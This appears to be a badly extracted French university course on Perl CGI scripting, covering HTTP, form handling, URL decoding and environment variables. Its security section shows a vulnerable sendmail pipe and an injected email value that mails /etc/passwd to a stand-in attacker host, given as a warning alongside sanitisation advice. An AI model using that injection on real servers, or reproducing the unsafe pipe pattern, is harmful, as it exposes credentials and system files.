You are on page 1of 12

Cours CGI

Magali Contensin
Table des matires
1

Introdu tion

Proto ole http

2.1
2.2

2
2

3
4

Requte . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Rponse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Votre premier s ript CGI

Transfert de donnes ave FORM

4.1
4.2
4.3
4.4
4.5
4.6

ACTION . . . . . . . . . . . . . . . . . . .
Bloquer l'envoi de donnes . . . . . . . . .
GET . . . . . . . . . . . . . . . . . . . . .
POST . . . . . . . . . . . . . . . . . . . .
Extraire les donnes t serveur . . . . .
Envoi de  hiers au serveur : ENCTYPE et

. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
la balise

. . . .
. . . .
. . . .
. . . .
. . . .
FILE

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

4
4
5
5
6
9

Transfert de donnes ave ISINDEX

Transfert de donnes ave IMG

10

Variables d'environnement

10

S urit

11

Basees de donnes

12

Introdu tion

 les programmes lan s partir de liens ex utables s'appellent des s ripts CGI ;
 Common Gateway Interfa e ;
 produ tion de pages html partir de la sortie standard ;
 a s des bases de donnes ;
 ompteurs d'a s, livre d'or ;
 langages de gnration de s ripts: C, shell, perl, t l.
1

Cours CGI - DU IST

Proto ole http

2.1 Requte
La requte envoye par le lient est ompose des hamps :
mthode
en-tte

Method URL HTTP-version


From:
If-Modied-Sin e:
Referer:

des riptif

orps

User-Agent:
A ept:
Content-En oding:
Content-Length:
Content-Type:

get url HTTP/1.0


e-mail utilisateur sur le lient
get a de la ressour e
modie depuis la date du hamp
URL partir duquel le lient
pointe sur la ressour e demande
informations sur le lient (Mozilla)
types MIME du lient
pour que le serveur puisse d oder le message
taille en o tets du orps
type MIME du orps

2.2 Rponse
La rponse envoye par le serveur est ompose des hamps :
statut
en-tte
des riptif

do ument

HTTP-version Status-Code Reason-Phrase


Lo ation:
Server:
Content-En oding:
Content-Length:
Content-Type:
Date:
Expires:
Last-Modied:
do ument html

HTTP/1.0 404 Not Found


URL de la ressour e demande
software du serveur demand
odage de la ressour e
taille du do ument
type MIME du do ument
date et heure de la rponse
date d'expiration du do ument
date de dernire modi ation

En fon tion du droulement de la requte, le status- ode vaut :


2xx
3xx
4xx
5xx

requte reue, traite


redire tion sur une autre URL, traitement in omplet
erreur lient
erreur serveur

Cours CGI - DU IST

Votre premier s ript CGI

Nous allons essayer un s ript CGI en perl qui gnrera une page HTML trs simple :
HTML

<HTML>
<HEAD>
<TITLE>Essai CGI</TITLE>
</HEAD>
<BODY>
Voi i le texte de ma page en CGI
</BODY>
</HTML>

perl
#!/usr/lo al/bin/perl
print "<HTML>\n";
print "<HEAD>\n";
print "\t<TITLE>Essai CGI</TITLE>\n";
print "</HEAD>\n";
print "<BODY>\n";
print "\tVoi i le texte de ma page en CGI\n";
print "</BODY>\n";
print "</HTML>\n";

Pour que le serveur sa he que faire de la sortie standard des s ripts CGI il faut leur donner un
en-tte MIME (aprs la ligne qui donne le hemin d'a s perl) : Content-type: text/html suivi
d'une ligne vide, puis le orps du do ument.
1. rez un rpertoire html sur votre ompte ;
2. pla ez le s ript essai.pl i-dessous dedans :
S ript CGI
#!/usr/lo al/bin/perl

print "Content-type: text/html\n\n";


print
print
print
print
print

"<HTML>\n <HEAD>\n";
"<TITLE>Essai de s ript CGI</TITLE>\n";
"</HEAD>\n";
"<BODY> Voi i le texte de ma page en CGI\n";
"</BODY></HTML>\n";

3. hangez les droits d'a s du  hier :

hmod 755 essai.pl


4. vous pouvez prsent visualiser e s ript sous un navigateur l'adresse :

http://pytheas.univ-mrs.fr/~votrenom/essai.pl
4

Transfert de donnes ave FORM

Les informations du formulaire sont envoyes du navigateur vers le serveur selon le mode GET
ou POST du proto ole http l'adresse du serveur pr ise dans l'attribut ACTION. Il est possible
d'envoyer des  hiers ave l'attribut ENCTYPE et la balise INPUT. Le rsultat envoy par le serveur
s'a he dans la page ourante, ou dans la frame ou la fentre du navigateur sp ie par l'attribut
TARGET.

Cours CGI - DU IST

Syntaxe :
<FORM ACTION="url" METHOD="GET" ENCTYPE="en odage" NAME="nom" TARGET=" ible">
<FORM ACTION="url" METHOD="POST" ENCTYPE="en odage" NAME="nom" TARGET=" ible">

4.1 ACTION
Dans le formulaire des poulets-frites ( ours JavaS ript) nous nous tions servi de l'attribut ACTION pour nous poster un mail. I i, ACTION nous permet de dnir l'adresse URL o sera envoye
la requte ( ontenu des ases du formulaire). Par dfaut 'est l'adresse du do ument html ourant
qui est utilise.
Reprenons notre formulaire des poulets-frites qui ne nous envoie plus un e-mail mais qui poste
notre requte qui va tre traite par un s ript CGI :

<HTML>
<HEAD>
<TITLE>Formulaire a tion gi</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFCC">
<FORM name="bonde ommande"
a tion="http://pytheas.univ-mrs.fr/~votrenom/formpost.pl"
method="post">
Vous souhaitez ommander :
<SELECT name="nourriture">
<OPTION value="pizza"> une pizza
<OPTION value="poulet_frites"> un poulet / frites
<OPTION value="moules_frites"> des moules / frites
</SELECT>
Pour <INPUT type="text" size="2" maxlength="2" name="nombre_personnes">
personnes
<P>Votre adresse :<BR>
<TEXTAREA name="adresse" rows="5" ols="50" wrap></TEXTAREA>
<P>Livraison &agrave;
<SELECT name="heure_livraison">
<OPTION value="20"> 20 heures
<OPTION value="21"> 21 heures
<OPTION value="22"> 22 heures
</SELECT>
<HR><DIV align=" enter">
<INPUT TYPE="submit" value="Poster">
</DIV><HR>
</FORM>
</BODY>
</HTML>

4.2 Bloquer l'envoi de donnes


Vous pouvez emp her l'envoi de donnes tant que le formulaire n'est pas rempli orre tement par
l'utilisateur (des donnes manquent, les donnes ne sont pas orre tes). Il faut utiliser l'vnement

Cours CGI - DU IST

onSubmit en regardant la valeur renvoye par la fon tion de vri ation programme en JavaS ript

et positionne dans l'en-tte du do ument html ontenant le formulaire. Dans l'exemple i-dessous, si
VerieForm renvoie true le formulaire est post vers le s ript CGI indiqu dans l'attribut ACTION.
S'il renvoie false il ne se passe rien. Le programmeur doit don en as d'erreur alerter l'utilisateur
par un message et penser retourner false dans la fon tion JavaS ript.

<FORM NAME="nomform"
ACTION="http://193.50.131.128/formpost.pl"
METHOD="POST"
onSubmit="return VerifieForm()">

4.3 GET
 par dfaut la mthode GET est utilise ;
 les informations sont envoyes dans la variable d'environnement QUERY_STRING ;
 les info sont on atnes dans la barre lo ation aprs un '?' (attention au hamp PASSWORD
dont la valeur apparat dans l'URL);
 le serveur renvoie le ontenu de la ressour e demande ;
 envoi limit 255 ara tres.
R uprer les donnes brutes ave GET

#!/usr/lo al/bin/perl
print "Content-type: text/html\n\n";
print "<html><head><title>methode get pour form</title></head>";
print "<body>";
$donnees = $ENV{"QUERY_STRING"};
print $donnees;
print "</body></html>";

4.4 POST
 les donnes sont envoyes vers la sortie stdout du serveur et l'entre STDIN du s ript ;
 entre non limite 255 ara tres ;
R uprer les donnes brutes ave POST

#!/usr/lo al/bin/perl
print "Content-type: text/html\n\n";
print "<html><head><title>methode post pour formulaire</title></head>";
print "<body>";
read(STDIN,$donnees, $ENV{CONTENT_LENGTH});
print $donnees;
print "</body></html>";

Cours CGI - DU IST

4.5 Extraire les donnes t serveur


Si vous avez essay d'a her les donnes brutes r upres, vous avez onstat qu'il y a du
travail d'extra tion de donnes faire. Si dans mon formulaire j'ai demand des moules frites pour 3
personnes livres 21 heures l'adresse :

Jean Dupont
avenue Tassigny
13009 Marseille
Alors le s ript a hera le rsultat brut suivant :

nourriture=moules_frites&nombre_personnes=3&
adresse=Jean+Dupont%0D%0A2avenue+Tassigny
%0D%0A13009+Marseille&heure_livraison=21
L'extra tion des donnes n essite un d odage en inq tapes qui est le mme que post ou get ait
t utilis :
1. Sparer les paires nom/valeur du formulaire en her hant le sparateur &

#!/usr/lo al/bin/perl
print "Content-type: text/html\n\n";
print "<html><head><title>methode get pour form</title></head>";
print "<body>";
$donnees = $ENV{"QUERY_STRING"};
tab = split("&",$donnees);
forea h $i (tab){
print $i."<BR>";
}
print "</body></html>";
Le rsultat est le suivant :
nourriture=moules_frites
nombre_personnes=3
adresse=Jean+Dupont%0D%0A2avenue+Tassigny%0D%0A13009+Marseille
heure_livraison=21
2. Sparer le nom de la valeur en her hant le sparateur =

#!/usr/lo al/bin/perl
print "Content-type: text/html\n\n";
print "<html><head><title>methode get pour form</title></head>";
print "<body>";
$donnees = $ENV{"QUERY_STRING"};
tab = split("&",$donnees);
forea h $i (tab){
($nom, $valeur) = split("=", $i);
print "<B>".$nom."</B> ";
print $valeur."<BR>";
}

Cours CGI - DU IST

Le rsultat est le suivant :


moules_frites
nombre_personnes 3
adresse Jean+Dupont%0D%0A2avenue+Tassigny%0D%0A13009+Marseille
heure_livraison 21

nourriture

3. Rempla er le ara tre + par l'espa e, il faut ajouter ette ligne avant l'a hage dans la bou le :
$valeur =~ s/\+/ /g;
4. Rempla er les ara tres rservs : < > " # % ! $ ^ & ( ) + = { } | [ \ : ; ~ ? , /
par leur ode URL, i.e. un % suivi des deux hires en hexad imal du ode as ii de ara tre
(ex. : = %3A, ? = %3F, + = %53, # = %23).
5. Rempla er les ara tres non as ii par leur ode URL.
Les tapes 4 et 5 s'ee tuent l'aide de ette ligne en her hant les odes URL (% ):
$valeur =~ s/%(..)/pa k(" ",hex($1))/ge;

 les expressions ommenant par % sont des odes URL, nous her hons don un % ;
 il est suivi de deux ara tres quel onques (dnis par le ..) ;
 les parenthses servent rfren er l'expression entre parenthse, on y a dera plus tard
par $num, num tant le numro de l'expression entre parenthses (pour rfren er la premire
on utilise $1, i i 'est la premire et il n'y en a pas d'autre, don num = 1 et il sera impossible
d'a der $2 qui n'est pas dnie) ;
 l'option g permet de re her her toutes les o urren es, nous voulons supprimer tous les
odes URL de la variable valeur ;
 l'option e value la nouvelle expression omme une instru tion; don la fon tion pa k sera
ex ute ;
 la fon tion hex donne le ode as ii du ode hexad imal pass en paramtre : pour obtenir
le ode as ii du # dont le ode URL est %23, il sut de faire $ ode = hex(23); la variable
ode ontiendra alors 35 (le ode as ii d'un dise). Dans notre as, nous demandons la valeur
du ode as ii orrespondant au ode URL trouv derrire le %
 la fon tion pa k nous renvoie la hane qui nous intresse, i.e. le ara tre qui orrespond
au ara tre hexad imal transform en ode as ii qu'on lui a pass.
Cet exemple a he bonjour :
$ haine = pa k(" ",98,111,110,106,111,117,114); print $essai;
Voi i le  hier nal qui extrait les donnes et dont vous aurez besoin haque fois que vous ralisez
un s ript CGI. Il est donn ave POST qui est le mode utiliser pour les formulaires ( ause de la
limite de taille ave GET). I i il a he simplement les donnes extraites dans une page HTML :

Cours CGI - DU IST

#!/usr/lo al/bin/perl
print "Content-type: text/html\n\n";
print "<html><head><title>methode post pour formulaire</title></head>";
print "<body>";
read(STDIN,$donnees, $ENV{CONTENT_LENGTH});
tab = split("&",$donnees);
forea h $i (tab){
($nom, $valeur) = split("=", $i);
$nom =~ s/%(..)/pa k(" ",hex($1))/ge;
$valeur =~ s/%(..)/pa k(" ",hex($1))/ge;
$valeur =~ s/\+/ /g;
print "<B>".$nom."</B> ";
print $valeur."<BR>";
}
print "</body></html>";
La seule opration qu'il reste ee tuer maintenant est le sto kage des donnes ontenues dans
nom et valeur dans un tableau asso iatif. Dans l'exemple du poulet-frites, il n'y a qu'une valeur
asso ie haque nom, mais si vous modiez l'exemple pour avoir une liste de hoix qui permet de
ommander la fois des poulets et des pizzas vous aurez plusieurs valeurs asso ies un nom. Voi i
un s ript perl qui vous permet de sto ker les donnes lues sur la onsole, en le modiant ( .f. listing
pr dent) vous pourrez a her le rsultat dans une page html plutt que sur la onsole et vous
pourrez prendre en ompte des donnes soumises par le lient.

#!/usr/bin/perl
$donnees = <STDIN>;
homp($donnees);
tab = split("&",$donnees);
%form = ();
forea h $i (tab){
($nom, $valeur) = split("=", $i);
$nom =~ s/%(..)/pa k(" ",hex($1))/ge;
$valeur =~ s/%(..)/pa k(" ",hex($1))/ge;
$valeur =~ s/\+/ /g;
$form{"$nom"} = $valeur;
}
print "\n---------------\n";
print "vous voulez : $form{'nourriture'}\n";
print "pour $form{'nombre_personnes'} personnes\n";
print "livre a $form{'heure'} heures\n";
print "a l'adresse :\n$form{'adresse'}\n";
Si vous essayez e s ript en tapant sur la onsole (sur une seule ligne, le retour hariot marquant la
n de l'entre la onsole) :

heure=21&adresse=avenue+Cantini+%0D%0AMarseille&
nombre_personnes=8&nourriture=poulet_frites+moules_frites

Cours CGI - DU IST

Vous obtiendrez le rsultat i-dessous (notez que tous les lments asso is la l nourriture ont t
a hs) :

--------------vous voulez : poulet_frites moules_frites


pour 8 personnes
livre a 21 heures
a l'adresse :
avenue Cantini
Marseille

Librairies
Des librairies existent pour a der plus fa ilement aux hamps des formulaires, notamment en
C le module util. et en perl gi-lib.pl.

4.6 Envoi de  hiers au serveur : ENCTYPE et la balise FILE


C'est l'attibut qui dnit le type MIME utilis pour le odage des donnes du formulaire. Par
dfaut il ontient "appli ation/x-www-form-urlen oded". C'est e qui dnit un formulaire standard.
Si vous utilisez la pla e "multipart/form-data" vous pouvez insrer des  hiers dans le formulaire.
Il faut alors travailler ave POST. Si vous utilisez le s ript CGI formpost.pl qui lit les donnes brutes
transmises par POST et vous les a he, vous pouvez essayer de vous poster un  hier partir de e
formulaire et voir e que le serveur a reu.

<HTML>
<HEAD>

<TITLE>fi hier postable</TITLE>

</HEAD>
<BODY BGCOLOR="#FFFFCC">
<FORM ACTION="http://193.50.131.158/~votrenom/formpost.pl"
METHOD="POST"
ENCTYPE="multipart/form-data">
nom du fi hier <INPUT NAME="nomfi hier" TYPE="file">
<HR><DIV align=" enter">
<INPUT TYPE="submit" value="Envoyer le fi hier">
</DIV><HR>
</FORM>
</BODY>
</HTML>
5

Transfert de donnes ave ISINDEX

Cette balise apparat toujours entre les balises <HEAD>et </HEAD>. Quand elle est prsente,
l'utilisateur peut saisir une hane de ara tres pour ee tuer une requte. Le navigateur olle la
hane dans la barre de lo ation aprs avoir rajout un point d'interrogation. C'est une re her he qui
tait utilise avant l'apparition de la balise FORM ave l'attribut GET. Les attributs sont PROMPT
pour donner un message devant la bote de saisie de la hane re her he, et HREF pour sp ier

Cours CGI - DU IST

10

une adresse dirente de elle qui est dans la barre de lo ation.

<HTML>
<HEAD>

<TITLE>essai d'isindex</TITLE>
<ISINDEX PROMPT="vous her hez ">

</HEAD>
<BODY BGCOLOR="#FFFFCC">
</BODY>
</HTML>
6

Transfert de donnes ave IMG

Lorsque l'utilisateur lique en un point d'une image qui a t dnie ave l'attribut ISMAP
dans la balise IMG, le serveur reoit les oordonnes du point qui ont t on atnes dans la barre
de lo ation. Un s ript CGI permet alors de traiter es oordonnes et de fournir la page html qui
orrespond. Il est possible de dnir ainsi des images ra tives mais 'est d onseill ar ette mthode
est antrieure la balise MAP et sur harge le serveur.
7

Variables d'environnement

Les variables d'environnement permettent au s ript d'a der des informations relatives au
serveur, au lient, la requte. Elles sont res par le dmon http avant de lan er le s ritp CGI.

Serveur

DOCUMENT_ROOT
GATEWAY_INTERFACE
HTTP_HOST
SCRIPT_NAME
SERVER_ADMIN
SERVER_NAME
SERVER_PORT
SERVER_PROTOCOL
SERVER_SOFTWARE

rpertoire ontenant le serveur


version du CGI
nom IP de la ma hine qui hberge le http
hemin du s ript depuis la ra ine
e-mail du webmaster
nom IP ou adresse IP du serveur grant le s ript
port ayant reu la requte
proto ole utilis pour la requte
nom et version du logi iel utilis par le serveur

Client

HTTP_ACCEPT
HTTP_COOKIE
HTTP_USER_AGENT
REMOTE_ADDR
REMOTE_HOST
REMOTE_IDENT
REMOTE_USER

types MIME a epts par le lient


proprits asso ies au lient
info sur le logi iel du lient
adresse IP de l'agent posant la requte
nom de la ma hine du lient
login de la personne qui fait la requte
userid du lient

Cours CGI - DU IST

11

Requte

REQUEST_METHOD
AUTH_TYPE
CONTENT_LENGTH
CONTENT_TYPE
PATH_INFO
QUERY_STRING
8

get|head|put (http), post, delete, link


mode d'authenti ation
taille des donnes envoyes
type MIME des donnes envoy
hane qui suit le nom du s ript jusqu'au?
hane qui suit le?

S urit

Toute ommande intragissant ave le systme d'exploitation du serveur est sus eptible d'tre
dtourne. Il y a danger lorsque :
 un pipe est r : open
 on apture la sortie d'un programme externe : $date = `\bin\date`
 on utilise system : system "/usr/bin/sort < hier";
 on utilise exe .
Supposons qu'on ait r upr l'adresse mail d'une personne par l'intermdiaire d'un formulaire et
qu'on veuille envoyer un mail ette personne, les lignes i-dessous extraites d'un s ript CGI sont
trs dangereuses pour le serveur ( .f. faq sur la s urit du W3C) :

open (MAIL,"|/usr/lib/sendmail $mail_to");


print MAIL "To: $mail_to\nFrom:me\n\nHi there !\n";
lose MAIL;
Si la personne a entr ette ligne dans le hamp mail du formulaire :
nobodynowhere. om;mail badguyshell.org</et /passwd;
le s ript envoie le  hier password :
/usr/lib/sendmail nobodynowhere. om; mail badguyshell.ord</et /passwd
Vous ne devez pas essayer e s ript, votre ompte est a essible depuis l'extrieur

Vous devez :
 re her her les mta ara tres dans les donnes reues et les liminer ou mme quitter le s ript
ds qu'il y en a un :
; ` ' " \ ~ < > ^ ( ) { } [ $ \n \r * ? | &
 vrier la validit d'une adresse mail, ave les expressions rgulires ;
Dans l'exemple i-dessus le problme aurait t vit en utilisant l'option -t de sendmail qui ignore
l'adresse donne dans la ligne de ommande et prend l'adresse dans l'en-tte du mail :

open (MAIL, "| /usr/lib/sendmail -t -oi");


print MAIL <<END;
To: $mail_to

Cours CGI - DU IST

12

From: me (me\nowhere. om)


Subje t: nothing
Hi there !
END
lose MAIL;
9

Basees de donnes

Vous pouvez rer une base de donnes en texte as ii et traiter les requtes de l'utilisateur en perl
et y rpondre. L'ajout, la modi ation et la suppression sont possibles dans le  hier.
Des requtes SQL peuvent tre intgres dans le s ript quel que soit le hoix depuis la version 5.
Avant il y avait Oraperl pour Ora le, Syperl pour Sybase. maintenant il y a dbperl, il faut dire
lorsqu'on se onne te si on veut travailler sur une base Ora le ou Sybase.
 use DBI annon e qu'on va utiliser dbi. DBI est un module Perl 5 (objet) qui dnit un ensemble de mthodes et attributs pour une interfa e qui gre toute base de donne qui a un
Driver DataBase dni. Pour MySQL e driver se nomme DBD::mysql. La do umentation est
embarque dans les modules.
 $dbh = DBI-> onne t("DBI:mysql:$database", $user, $password); onnexion MySql
sur la base database ave le login user et le mot de passe password.
 $dbh->do("requete"); ex ute des requtes SQL.
 $dbh->dis onne t; n de onnexion.
 $dbh->fun ($database, '_CreateDB'); ration de base de donne
 databases = DBI->data_sour es($driver); tableau des bases de donnes disponibles pour
un driver sp i (sinon la variable d'environment DBI_DRIVER est utilise)

You might also like